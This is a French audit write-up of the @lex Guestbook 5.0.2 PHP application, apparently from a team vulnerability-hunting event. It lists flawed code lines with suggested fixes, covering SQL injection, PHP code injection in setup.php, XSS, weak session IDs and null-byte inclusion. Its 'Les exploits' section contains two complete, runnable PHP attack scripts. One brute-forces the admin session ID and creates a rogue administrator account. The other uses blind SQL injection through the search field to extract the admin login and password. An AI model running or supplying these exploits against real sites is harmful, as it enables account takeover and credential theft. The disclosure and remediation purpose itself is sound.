Zenk Roulette 3 : Alex Guestbook Version 5.0.2

Date : Samedi 6 Aout 2011 20H

Application auditée : @lex Guestbook

URL : http://www.alexguestbook.net/

Lien de téléchargement : http://www.alexguestbook.net/tele_agb.html

Plateforme : PHP, MySQL

Les participants : Burner, Essandre, Ganapati, Sanguinarius, Sebdraven

Le coeur du sujet

Path du fichier : /modif_mess.php

Type de Faille : Injection de code SQL

Ligne : 68

    sql_select_query("*", "alex_livre_messages", "WHERE id=".$_GET['id_mess']);

Correctif :

Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['id_mess'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable.

——————————————————————————————–

Path du fichier : /repondre.php

Type de Faille : Injection de code SQL

Ligne : 62

    sql_select_query("*", "alex_livre_messages", "WHERE id=".$_GET['id_mess'], "", "", true);

Correctif :

Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['id_mess'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable.


Path du fichier : /index.php

Type de Faille : Injection de code SQL

Ligne : 102

sql_select_query("*", "alex_livre_messages", $where, "ORDER BY time DESC", "LIMIT ".
$_GET['debut'].",".$config['nb_pages'], true);

Correctif :

Partant du principe que le script attend une valeur numérique, il est nécessaire de s'assurer que la variable $_GET['debut'] est bien de type numérique, que ce n'est pas un float et qu'elle est plus grande que 0. D'autre part, dans notre cas, la faille en question n'est pas exploitable.


Path du fichier : /boiteJava/index.php

Type de Faille : Simple bug

Ligne : 14

   if (!isset($_GET['n']) || !(int)trim($_GET['n']))
    $_GET['n'] = 5;
   else
    $_GET['n'] = (int)trim($_GET['n']);

Correctif :

Le script ne vérifie pas le type de la variable, ce qui implique qu'il réagit mal si l'on lui passe en paramètre un float ou une valeur négative.

——————————————————————————————–

Path du fichier : /setup.php

Type de Faille : Injection de Code PHP

Ligne : 89-97

$write_object2 -> save_donnees("\$f_mysql_host = '".$_POST['host']."';");   
    $write_object2 -> save_donnees("\$f_mysql_user = '".$_POST['user']."';");
    $write_object2 -> save_donnees("\$f_mysql_pass = '".$_POST['pass']."';");
    $write_object2 -> save_donnees("\$f_mysql_base = '".$_POST['nom_base']."';\n"); ....

Correctif :

Les variables n'étant pas filtrées et le fichier setup.php pas supprimé automatiquement, il devient possible d'écrire du code PHP exécutable.

——————————————————————————————–

Path du fichier : /add_message.php

Type de Faille : Mail injection

Ligne : 198

    envoyer_mail($alex_livre_users_email[$i], $f_lang['mail_object'].
$_SERVER["SERVER_NAME"], $f_lang['mail_message'].'http://'.
$_SERVER['HTTP_HOST'].dirname($config['fichier_inclusion'])." 
:\r\n\r\n-------------------------------------------\r\n".trim($chaine_message)."\r\n----------------------------
---------------\r\n\r\nPowered by @lex Guestbook ".$alex_livre_version." - 
http://www.alexguestbook.net/", $entetemail);

Correctif :

La variable $_SERVER['HTTP_HOST'] n'est pas filtrée, il devient donc possible d'injecter du code html.

——————————————————————————————–

Path du fichier : /admin/titre.php

Type de Faille : Injection de code javascript

Ligne : 39

        if (!$nbTest){
        $query = "INSERT INTO ".$name_table['alex_livre_txt_lang']." (`lang`, `type`, `msg`) 
VALUES ('".$_GET['lang_edit']."', 'titre', '".$_POST['titre']."')";
        $result = $f_db_connexion -> sql_query($query);
    }
    else {
        $query = "UPDATE ".$name_table['alex_livre_txt_lang']." SET `msg`='".$_POST['titre']."' 
WHERE `lang`='".$_GET['lang_edit']."' and `type`='titre'";
        $result = $f_db_connexion -> sql_query($query);
    }

Correctif :

La variable $_POST['titre'] n'est pas filtrée et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer cette variable avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur.


Path du fichier : /include/funct_utiles.php

Type de Faille : Faiblesse sur la génération du sid

Ligne : 11

    function alex_livre_sid(){
    mt_srand((double)microtime()*1000000); 
    return md5(mt_rand(0,9999999));
    }

Correctif :

La génération du SID est relativement faible, en effet il devient possible de récupérer le SID administrateur en quelques secondes, puisqu'il ne s'agit que du MD5 d'une valeur numérique ne pouvant pas dépasser 9999999.

——————————————————————————————–

Path du fichier : /index.php

Type de Faille : Fuite d'information

Ligne : 85

    $_GET['mots_search'] = stripslashes(trim(strip_tags(urldecode($_GET['mots_search']))));

Correctif :

Aucune vérification sur le type de donnée est effectué sur la variable $_GET['mots_search'], il est possible à partir de là, de faire planter le script en lui faisant passer un array en paramètre comme ceci:

index.php?mots_search[]=

Il est donc nécessaire de vérifier que ce n'est pas un array avec la fonction is_array, avant de le passer en paramètre à des fonctions qui ne traitent pas ce type de donnée.

——————————————————————————————–

Path du fichier : /admin/titre.php et /admin/rep_auto.php

Type de Faille : Inclusion de fichier

Ligne : 18

    include($chem_absolu."config/extension.inc");
    include($chem_absolu."include/admin_include.".$alex_livre_ext);

Correctif :

Il est possible de contourner la fonction file_exists en prenant partie d'un nullbyte, ce qui peut permettre d'inclure d'autre fichier présent sur le serveur. Il devient donc possible à partir du service d'upload d'avatar d'exécuter du code php en incluant une de ces images spécialement forgé à cet effet.

——————————————————————————————–

Path du fichier : /boiteJava/index.php

Type de Faille : Injection de code javascript

Ligne : 60

else
    $value_url_livre = findHost().$url_recharger;

Correctif :

La variable $url_recharger n'est pas filtrée et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer cette variable avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur.

——————————————————————————————–

Path du fichier : /index.php

Type de Faille : Deni de service

Ligne : 84

if (isset($_GET['mots_search']) && $_GET['mots_search'] && $config['ok_aff_moteur']){
    $_GET['mots_search'] = stripslashes(trim(strip_tags(urldecode($_GET['mots_search']))));
    $mots_nettoyes = nettoyer_car(noaccents(strtolower($_GET['mots_search'])));
    $tab_mots_cles = explode(" ", $mots_nettoyes);
    /* création de la requète WHERE */
    if ($mots_nettoyes)
        $nb_mots_cles = count($tab_mots_cles);
        $where .= " and (";
    for ($i = 0; $i < $nb_mots_cles; $i++){
        $where .= "nom LIKE '%".$tab_mots_cles[$i]."%' OR message LIKE '%".
$tab_mots_cles[$i]."%'";
        if (($i + 1) < $nb_mots_cles)
            $where .= " OR ";
    }
    if ($mots_nettoyes)
        $where .= ")";

Correctif :

De plus de la fuite d'information au niveau de la variable $_GET['mots_search'] comme nous l'avons vu juste au-dessus, il y a le problème que si l'on déclare cette variable en tant que array depuis l'url, la variable $nb_mots_cles n'est plus déclarée puisque $mots_nettoyes vaut false, la condition n'est donc pas confirmée. A ce moment là, si l'option register_globale est activé, il devient possible d'agir sur l'alias de la variable $nb_mots_cles depuis une super-globale et donc de lui attribuer un nombre de très grande taille, ce qui aura pour effet de réaliser une boucle immense, demandant des resources considérables autant pour le serveur SQL qui devra exécuter la requete SQL juste après, que le moteur de PHP.

  
  **La boucle en question:**
  
    for ($i = 0; $i < $nb_mots_cles; $i++){
        $where .= "nom LIKE '%".$tab_mots_cles[$i]."%' OR message LIKE '%".
$tab_mots_cles[$i]."%'";
        if (($i + 1) < $nb_mots_cles)
            $where .= " OR ";
    }

Path du fichier : /index.php

Type de Faille : Injection de code SQL

Ligne : 85

    $_GET['mots_search'] = stripslashes(trim(strip_tags(urldecode($_GET['mots_search']))));
    $mots_nettoyes = nettoyer_car(noaccents(strtolower($_GET['mots_search'])));
    $tab_mots_cles = explode(" ", $mots_nettoyes);

Correctif :

Dans l'ensemble de l'application la totalité des variable $_GET et $_POST sont filtrées de tel sorte à qu'il ne soit pas possible de réaliser une injection de code SQL dans le cas ou la variable serait entouré par des apostrophe dans la requête SQL. Dans notre cas, la variable $_GET['mots_search'] est bien filtrée au début du code, mais comme nous pouvons le constater, les slashes qui ont permis de filtrer la variable en echappement certains carractère indésirables, ont été rétirés à cause de l'utilisation de la fonction stripslashes(). Il devient donc possible de sortir des apostrophes et de réaliser notre injection SQL depuis la variable $_GET['mots_search'].

——————————————————————————————–

Path du fichier : /index.php

Type de Faille : Injection de code javascript

Ligne : 193

     $urlExtAdd = 
"&amp;mots_search=".urlencode(@$_GET['mots_search'])."&amp;lang=".@$config['langue']."&a
mp;skin=".@$_GET['skin']."&amp;seeAdd=".@$_GET['seeAdd']."&amp;seeNotes=".@$_GET['se
eNotes']."&amp;seeMess=".@$_GET['seeMess']."&amp;".$config['extension_url'];

Correctif :

Les variables $_GET['seeAdd'], $_GET['seeNotes'] et $_GET['seeMess'] ne sont pas filtrés et il est donc possible d'y injecter du code javascript. Il est nécessaire de filrer ces variables avec une fonction telle que htmlspecialchars qui convertit les caractères spéciaux en entité html pour ainsi éviter leur interprétation par le navigateur.

Les exploits

Session stealing
   /*         
    =========================================================
    Alex GuestBook Session  stealing
    =========================================================
 
    # Exploit Title: Session stealing + administrator account creation
    # Date: 07/08/2011
    # Author: Zenk-Security
    # Software Link: http://www.alexguestbook.net/
    # Version: 5.0.2
    # Category: webapplications
    # Thanks to all contributors : Burner, EsSandre, Ganapati, Sanguinarius and Sebraven.
    */
 
    set_time_limit(0);
 
    // new admin account
    define('USER', 'new_account');
    define('PASS', 'password');
    define('MAIL', 'fake@mail.fr');
    // Information of the web application 
    define('URL', 'http://localhost/');
    define('PATH_APPLICATION', 'agb/');
 
    $url = URL.'/'.PATH_APPLICATION;
 
    // Bruteforce session admin
    print "[*] Bruteforce de l'ID de session admin \n";
 
    for ($i = 0; $i < 9999999; $i++)
    {
        $hash_sid = md5($i);
        $file = file_get_contents($url.'admin/options.php?f_sid='.$hash_sid);
        if (strstr($file, 'Options du livre d\'or')) {
            break;
        }
    }
 
    // Configure the query
    print "Session ID : ".$hash_sid."\n";
    $infos = array('name_admin' => USER, 
                   'passe_admin' => PASS, 
                   'email_admin' => MAIL,
                   'receive_email' => '1',
                   'modif_options' => '1',
                   'gestion_skins' => '1',
                   'gestion_reponse_auto' => '1',
                   'gestion_bdd' => '1',
                   'gestion_messages' => '1',
                   'gestion_censure' => '1',
                   'gestion_bannissement' => '1',
                   'gestion_smileys' => '1',
                   'gestion_admin' => '1',
                   'ajouter' => 'Ajouter'
                  );
 
    // create header
    $context = stream_context_create (array(
        'http' => array(
        'method'  => 'POST',
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'content' => http_build_query($infos)
    )));
 
    // Send request with cracked session id
    $file = file_get_contents($url.'admin/add_admin.php?f_sid='.$hash_sid.'&id_modif=', false, 
$context);
 
    if (strstr($file, 'alert("ERREUR\nCe login existe'))
        die( "Erreur : Cet utilisateur est déjà existant\n");
    else if (strstr($file, 'alert("Merci'))
        exit ("Votre compte à été crée correctement.\n");
    else
        exit ("Une erreur est survenue pendant l'ajout du compte administrateur\n");
?>

Blind SQL Injection :

<?php
 
    /*
    =========================================================
    Alex GuestBook Blind SQL Injection
    =========================================================
 
    # Exploit Title: Blind SQL Injection
    # Date: 07/08/2011
    # Author: Zenk-Security
    # Software Link: http://www.alexguestbook.net/
    # Version: 5.0.2
    # Category: webapplications
    # Thanks to all contributors : Burner, EsSandre, Ganapati, Sanguinarius and Sebraven.
    */
 
    set_time_limit(0);
 
    // Informations 
    $url = 'http://localhost/';
    $user_id = '1';
    $char_list = 'abcdefghijklmnopqrstuvwxyz1234567890';
    $max = 30;
    /********************************************************/
    for ($j=0; $j<2; $j++) {
        $field = (!$j) ? "login" : "pass";
        $len_list = strlen($char_list);
        $begin = '';
        $len_password = 0;
 
        // bf password length
 
        for ($i=0; $i<$max; $i++) {
            $injection = urlencode("aAaA%')or(select(length(".
$field."))from`alex_livre_users`where`id_user`=1)=".$i."#");
            $file = file_get_contents($url.'index.php?mots_search='.$injection);
            if ($file === false)
                exit('Erreur lors de la récupération de la page.');
 
            if (!strstr($file, 'Aucun message')) {
                $len_password = $i;
                break;
            }
        }
        print "Longueur du ".$field." : ".$len_password."\n";
 
        print $field." : ";
 
        for($i=0; $i<$len_password; $i++) {
            for ($c = 0; $c < $len_list; $c++) {
                $current = $char_list[$c];
                $injection = urlencode("aAaA%')or(select`".$field."`like'".$begin.
$current."%'from`alex_livre_users`where`id_user`=".$user_id.")#");
                $file = file_get_contents($url.'index.php?mots_search='.$injection);
 
                if ($file === false)
                    exit('Erreur lors de la récupération de la page.');
 
                if (!strstr($file, 'Aucun message')) {
                    $begin .= $current;
                    echo $current;
                    break;
                }
            }
        }
        echo "\n";
    }   
 
    exit();
?>

Derniers conseils:

  1. Liste numérotéeDésactiver les register_globale, qui mettent l'application en premier plan pour les problèmes de sécurité.
  2. Liste numérotéeLes mots de passe sont en clair, il est conseillé d'utiliser un système de hash fort (SHA512 + Salt ?)
  3. Liste numérotéeDepuis la version 5.3.0 de PHP, les fonctions basées sur eregi sont déconseillés d'utilisation dut à leur problème de sécurité majeur. Il est aujourd'hui recommandé d'utiliser ses équivalents basés sur preg_match.